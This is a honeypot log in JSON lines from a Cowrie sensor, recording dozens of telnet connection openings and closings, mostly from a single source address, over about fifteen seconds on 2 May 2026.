{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:11.151524Z","src_ip":"165.154.6.69","session":"89ddfefc4894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33396,"dst_ip":"159.203.135.109","dst_port":23,"session":"c757f674cf4f","protocol":"telnet","message":"New connection: 174.142.104.49:33396 (159.203.135.109:23) [session: c757f674cf4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:11.229796Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56820,"dst_ip":"159.203.135.109","dst_port":23,"session":"74936b4fbc4f","protocol":"telnet","message":"New connection: 174.142.104.49:56820 (159.203.135.109:23) [session: 74936b4fbc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:11.344404Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33798,"dst_ip":"159.203.135.109","dst_port":23,"session":"85b782d054c6","protocol":"telnet","message":"New connection: 174.142.104.49:33798 (159.203.135.109:23) [session: 85b782d054c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:11.505835Z"}
{"eventid":"cowrie.session.closed","duration":92.7842788696289,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:11.641626Z","src_ip":"174.142.104.49","session":"4d80522ea869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.375707149505615,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:11.767526Z","src_ip":"174.142.104.49","session":"bcfd08b36e42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53642,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b3d23e64d37","protocol":"telnet","message":"New connection: 174.142.104.49:53642 (159.203.135.109:23) [session: 6b3d23e64d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:12.393648Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58738,"dst_ip":"159.203.135.109","dst_port":23,"session":"600c41b5de8d","protocol":"telnet","message":"New connection: 174.142.104.49:58738 (159.203.135.109:23) [session: 600c41b5de8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:12.617657Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58966,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fe3c9af8cac","protocol":"telnet","message":"New connection: 174.142.104.49:58966 (159.203.135.109:23) [session: 3fe3c9af8cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:12.695593Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57692,"dst_ip":"159.203.135.109","dst_port":23,"session":"283ae464ba4c","protocol":"telnet","message":"New connection: 174.142.104.49:57692 (159.203.135.109:23) [session: 283ae464ba4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:12.908416Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36300,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e7b2526ba56","protocol":"telnet","message":"New connection: 174.142.104.49:36300 (159.203.135.109:23) [session: 9e7b2526ba56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:12.954443Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":60402,"dst_ip":"159.203.135.109","dst_port":23,"session":"f12f3a7ffe32","protocol":"telnet","message":"New connection: 161.132.53.68:60402 (159.203.135.109:23) [session: f12f3a7ffe32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:13.200429Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":60410,"dst_ip":"159.203.135.109","dst_port":23,"session":"577259e4e545","protocol":"telnet","message":"New connection: 161.132.53.68:60410 (159.203.135.109:23) [session: 577259e4e545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:13.211293Z"}
{"eventid":"cowrie.session.closed","duration":30.745662927627563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:13.493089Z","src_ip":"174.142.104.49","session":"15ee8c8ac576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37103,"dst_ip":"159.203.135.109","dst_port":23,"session":"befd41c99b46","protocol":"telnet","message":"New connection: 174.142.104.49:37103 (159.203.135.109:23) [session: befd41c99b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:13.544619Z"}
{"eventid":"cowrie.session.closed","duration":30.359257698059082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:14.336675Z","src_ip":"174.142.104.49","session":"a6e3de653b6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39148,"dst_ip":"159.203.135.109","dst_port":23,"session":"228c2fbc9a5b","protocol":"telnet","message":"New connection: 174.142.104.49:39148 (159.203.135.109:23) [session: 228c2fbc9a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:14.628605Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37446,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a3d286bf97e","protocol":"telnet","message":"New connection: 174.142.104.49:37446 (159.203.135.109:23) [session: 7a3d286bf97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:14.673239Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45948,"dst_ip":"159.203.135.109","dst_port":23,"session":"14f7cd9e090d","protocol":"telnet","message":"New connection: 174.142.104.49:45948 (159.203.135.109:23) [session: 14f7cd9e090d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:14.705534Z"}
{"eventid":"cowrie.session.closed","duration":0.007616758346557617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:14.713007Z","src_ip":"174.142.104.49","session":"14f7cd9e090d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.253496885299683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:14.732963Z","src_ip":"174.142.104.49","session":"9fd319d2fc62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37768,"dst_ip":"159.203.135.109","dst_port":23,"session":"749068760b18","protocol":"telnet","message":"New connection: 174.142.104.49:37768 (159.203.135.109:23) [session: 749068760b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:14.791653Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39572,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eee8065fb20","protocol":"telnet","message":"New connection: 174.142.104.49:39572 (159.203.135.109:23) [session: 3eee8065fb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:14.813759Z"}
{"eventid":"cowrie.session.closed","duration":31.23105478286743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:14.948410Z","src_ip":"174.142.104.49","session":"44c6927a24ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37998,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cdfc1aa04f9","protocol":"telnet","message":"New connection: 174.142.104.49:37998 (159.203.135.109:23) [session: 8cdfc1aa04f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:14.965202Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36845,"dst_ip":"159.203.135.109","dst_port":23,"session":"771d5daeeded","protocol":"telnet","message":"New connection: 174.142.104.49:36845 (159.203.135.109:23) [session: 771d5daeeded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:15.369714Z"}
{"eventid":"cowrie.session.closed","duration":55.59590744972229,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:15.385805Z","src_ip":"174.142.104.49","session":"bbf68cac015b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544283151626587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:15.450702Z","src_ip":"174.142.104.49","session":"420512b525c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40748,"dst_ip":"159.203.135.109","dst_port":23,"session":"3de7872f49b5","protocol":"telnet","message":"New connection: 174.142.104.49:40748 (159.203.135.109:23) [session: 3de7872f49b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:15.552922Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35822,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fbaa122c562","protocol":"telnet","message":"New connection: 174.142.104.49:35822 (159.203.135.109:23) [session: 8fbaa122c562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:15.693713Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45608,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec478b58d77b","protocol":"telnet","message":"New connection: 104.245.105.2:45608 (10.17.0.5:23) [session: ec478b58d77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:15.711780Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36780,"dst_ip":"159.203.135.109","dst_port":23,"session":"93787bc2b9b6","protocol":"telnet","message":"New connection: 174.142.104.49:36780 (159.203.135.109:23) [session: 93787bc2b9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:16.275943Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42062,"dst_ip":"159.203.135.109","dst_port":23,"session":"17443087d12f","protocol":"telnet","message":"New connection: 174.142.104.49:42062 (159.203.135.109:23) [session: 17443087d12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:16.325671Z"}
{"eventid":"cowrie.session.closed","duration":30.88123631477356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:16.373152Z","src_ip":"174.142.104.49","session":"7a81da9d308d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.338094472885132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:16.379225Z","src_ip":"174.142.104.49","session":"76d13323344c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10501003265381,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:16.605331Z","src_ip":"174.142.104.49","session":"339b97f7d875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42859,"dst_ip":"159.203.135.109","dst_port":23,"session":"c356fdd6ee78","protocol":"telnet","message":"New connection: 174.142.104.49:42859 (159.203.135.109:23) [session: c356fdd6ee78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:16.879800Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41460,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a79eb52c39e","protocol":"telnet","message":"New connection: 174.142.104.49:41460 (159.203.135.109:23) [session: 9a79eb52c39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:16.982383Z"}
{"eventid":"cowrie.session.closed","duration":26.376152753829956,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:17.041844Z","src_ip":"174.142.104.49","session":"4758ac2fbe4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39178,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd8033eb2681","protocol":"telnet","message":"New connection: 161.132.53.68:39178 (159.203.135.109:23) [session: fd8033eb2681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:17.237158Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42464,"dst_ip":"159.203.135.109","dst_port":23,"session":"27ed1a940211","protocol":"telnet","message":"New connection: 174.142.104.49:42464 (159.203.135.109:23) [session: 27ed1a940211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:17.646940Z"}
{"eventid":"cowrie.session.closed","duration":45.75811743736267,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:17.831946Z","src_ip":"174.142.104.49","session":"93ad916e0c75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41960,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc24dc4ea4ad","protocol":"telnet","message":"New connection: 174.142.104.49:41960 (159.203.135.109:23) [session: fc24dc4ea4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:18.253079Z"}
{"eventid":"cowrie.session.closed","duration":32.64381766319275,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:18.427708Z","src_ip":"161.132.53.68","session":"9ab85b4daf65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45634,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bb0007645b2","protocol":"telnet","message":"New connection: 174.142.104.49:45634 (159.203.135.109:23) [session: 8bb0007645b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:18.635582Z"}
{"eventid":"cowrie.session.closed","duration":31.31098508834839,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:18.692735Z","src_ip":"174.142.104.49","session":"1a4ab11fd4ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46198,"dst_ip":"159.203.135.109","dst_port":23,"session":"1518dc55fbbf","protocol":"telnet","message":"New connection: 174.142.104.49:46198 (159.203.135.109:23) [session: 1518dc55fbbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:19.054365Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46792,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b8d6a7e6ac7","protocol":"telnet","message":"New connection: 174.142.104.49:46792 (159.203.135.109:23) [session: 1b8d6a7e6ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:19.430300Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45338,"dst_ip":"159.203.135.109","dst_port":23,"session":"88d18068fdd8","protocol":"telnet","message":"New connection: 174.142.104.49:45338 (159.203.135.109:23) [session: 88d18068fdd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:19.482167Z"}
{"eventid":"cowrie.session.closed","duration":31.000797271728516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:19.579652Z","src_ip":"174.142.104.49","session":"edbf30f1ca03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47188,"dst_ip":"159.203.135.109","dst_port":23,"session":"d31eb2669fef","protocol":"telnet","message":"New connection: 174.142.104.49:47188 (159.203.135.109:23) [session: d31eb2669fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:19.688226Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47324,"dst_ip":"159.203.135.109","dst_port":23,"session":"d375cac53058","protocol":"telnet","message":"New connection: 174.142.104.49:47324 (159.203.135.109:23) [session: d375cac53058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:19.775843Z"}
{"eventid":"cowrie.session.closed","duration":31.113656759262085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:19.853674Z","src_ip":"174.142.104.49","session":"1134e557789c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42882,"dst_ip":"159.203.135.109","dst_port":23,"session":"20e7e7a7a2c5","protocol":"telnet","message":"New connection: 174.142.104.49:42882 (159.203.135.109:23) [session: 20e7e7a7a2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:19.904764Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47664,"dst_ip":"159.203.135.109","dst_port":23,"session":"d966613e1315","protocol":"telnet","message":"New connection: 174.142.104.49:47664 (159.203.135.109:23) [session: d966613e1315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:19.983930Z"}
{"eventid":"cowrie.session.closed","duration":30.918155431747437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:20.655749Z","src_ip":"174.142.104.49","session":"671f7aa641e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.696149826049805,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:20.969691Z","src_ip":"174.142.104.49","session":"7677f19d33a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49688,"dst_ip":"159.203.135.109","dst_port":23,"session":"350a29030012","protocol":"telnet","message":"New connection: 174.142.104.49:49688 (159.203.135.109:23) [session: 350a29030012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:21.304461Z"}
{"eventid":"cowrie.session.closed","duration":32.91504645347595,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:21.371090Z","src_ip":"161.132.53.68","session":"47e1d7244498","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50046,"dst_ip":"159.203.135.109","dst_port":23,"session":"94a0db31171c","protocol":"telnet","message":"New connection: 174.142.104.49:50046 (159.203.135.109:23) [session: 94a0db31171c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:21.581375Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45836,"dst_ip":"159.203.135.109","dst_port":23,"session":"496fbac84119","protocol":"telnet","message":"New connection: 174.142.104.49:45836 (159.203.135.109:23) [session: 496fbac84119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:21.802062Z"}
{"eventid":"cowrie.session.closed","duration":120.00195026397705,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:21.837588Z","src_ip":"174.142.104.49","session":"2c1e1d37acc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46294,"dst_ip":"159.203.135.109","dst_port":23,"session":"619c52f8fb8a","protocol":"telnet","message":"New connection: 174.142.104.49:46294 (159.203.135.109:23) [session: 619c52f8fb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:22.111556Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51398,"dst_ip":"159.203.135.109","dst_port":23,"session":"c51a49b05e52","protocol":"telnet","message":"New connection: 174.142.104.49:51398 (159.203.135.109:23) [session: c51a49b05e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:22.358035Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46998,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d557c9ad7ac","protocol":"telnet","message":"New connection: 174.142.104.49:46998 (159.203.135.109:23) [session: 5d557c9ad7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:22.570164Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52830,"dst_ip":"159.203.135.109","dst_port":23,"session":"18b042183b8e","protocol":"telnet","message":"New connection: 174.142.104.49:52830 (159.203.135.109:23) [session: 18b042183b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:23.256031Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53086,"dst_ip":"159.203.135.109","dst_port":23,"session":"e741383a803e","protocol":"telnet","message":"New connection: 174.142.104.49:53086 (159.203.135.109:23) [session: e741383a803e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:23.444023Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51824,"dst_ip":"159.203.135.109","dst_port":23,"session":"22190601198a","protocol":"telnet","message":"New connection: 174.142.104.49:51824 (159.203.135.109:23) [session: 22190601198a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:24.682011Z"}
{"eventid":"cowrie.session.closed","duration":30.998886823654175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:24.714346Z","src_ip":"174.142.104.49","session":"52c0eaa97fe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39184,"dst_ip":"159.203.135.109","dst_port":23,"session":"41ca1322f300","protocol":"telnet","message":"New connection: 161.132.53.68:39184 (159.203.135.109:23) [session: 41ca1322f300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:25.229057Z"}
{"eventid":"cowrie.session.closed","duration":30.22399115562439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:25.243901Z","src_ip":"174.142.104.49","session":"85d63199cb53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.933947563171387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:25.487018Z","src_ip":"174.142.104.49","session":"80b11d64c17e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51700,"dst_ip":"159.203.135.109","dst_port":23,"session":"f18af3e0037a","protocol":"telnet","message":"New connection: 174.142.104.49:51700 (159.203.135.109:23) [session: f18af3e0037a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:25.601488Z"}
{"eventid":"cowrie.session.closed","duration":31.178006887435913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:25.876020Z","src_ip":"174.142.104.49","session":"167e0729c2c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012234449386597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:25.887363Z","src_ip":"174.142.104.49","session":"767282eebf65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085132598876953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:26.084678Z","src_ip":"174.142.104.49","session":"71232362f36c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774365186691284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:26.303326Z","src_ip":"174.142.104.49","session":"5c073e8715ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56606,"dst_ip":"159.203.135.109","dst_port":23,"session":"fccfb9f1ce58","protocol":"telnet","message":"New connection: 174.142.104.49:56606 (159.203.135.109:23) [session: fccfb9f1ce58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:26.557720Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42388,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb1dfab5d56f","protocol":"telnet","message":"New connection: 161.132.53.68:42388 (159.203.135.109:23) [session: eb1dfab5d56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:26.897479Z"}
